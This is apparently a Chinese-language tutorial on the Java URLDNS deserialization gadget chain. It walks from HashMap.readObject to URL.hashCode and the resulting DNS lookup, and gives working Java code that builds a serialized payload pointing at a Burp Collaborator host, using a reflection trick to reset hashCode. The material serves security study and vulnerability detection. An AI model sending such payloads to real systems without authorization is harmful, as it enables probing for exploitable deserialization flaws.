原理
Java URLDNS链是通过readObject反序列化+DNS查询来确认反序列化利用点的存在。该利用链具有如下特点:
- [1] 只能发起 DNS 请求,不能进行其它利用。
- [2] 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求。
- [3] 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞。
过程分析
需要发起Http请求,Java中URL类与Http请求相关并且URL类实现了Serializable
接口,URL类中是通过调用openConnection
方法实现。
跟进返回中的openConnection
可以看到返回的是URLConnection
对象。
继续跟进URLConnection
,发现是一个抽象类,接着查看实现这个抽象类的类,发现是不可序列化的,那么这条链不可用。
但是发现URL这个类中存在hashCode()
函数可以利用。
跟进handler.hashCode
函数,发现这个函数中使用了getHostAddress()
函数,而getHostAddress()
函数可以根据域名获得主机IP地址。
至此,我们可以通过调用hashCode()
函数中的getHostAddress()
来实现反序列化。
而HashMap
类中重写了readObject
方法,其中调用了hash()
函数,hash()
函数中也调用了hashCode()
函数。
如此一来,当我们构造出一个HashMap
对象,并向这个对象的键中传入URL
,那么在反序列化时,这个URL
会被读为key
接着传入hash()
函数中,在hash()
函数中调用hashCode()
,这样就调用了一个URL
对象的hashCode()
函数。
接下来构造利用代码:
package org.example;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
hashMap.put(new URL("http://v95hskl5p6aksnq95w4sydb2vt1jp8.burpcollaborator.net"),1);
serialize(hashMap);
}
}
其中,URL链接使用burpsuite生成:
构造完代码之后,运行序列化代码。
此时发现,在我们还没有反序列化时就已经收到了DNS请求,这是因为在使用put()
函数的时候,在put()
函数中已经调用了hash()
函数,进而调用了hashCode()
函数。
想到之前我们在URL
的hashCode()
函数中看到当hashCode != -1
时就不会调用hashCode()
函数,而在我们进行完put
操作之后hashCode != -1
,所以在反序列化时就不会再执行hashCode()
函数了。
想要在反序列化时调用hashCode()
就需要在put
操作之前使得hashCode
不等于-1,put
操作之后将hashCode
再改回-1。要改变一个已经生成对象中的值就需要使用Java的反射技术。
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://rzu085lu0ds2w583u7jglucds4yumj.burpcollaborator.net");
Class c = url.getClass();
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(url, 1);
hashMap.put(url, 1);
hashcodeField.set(url, -1);
serialize(hashMap);
}
}
这样再进行序列化的时候就收不到DNS请求了,然后进行反序列化,可以看到在反序列化时收到了请求。
反序列化操作:
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
unserialize("ser.bin");
}
}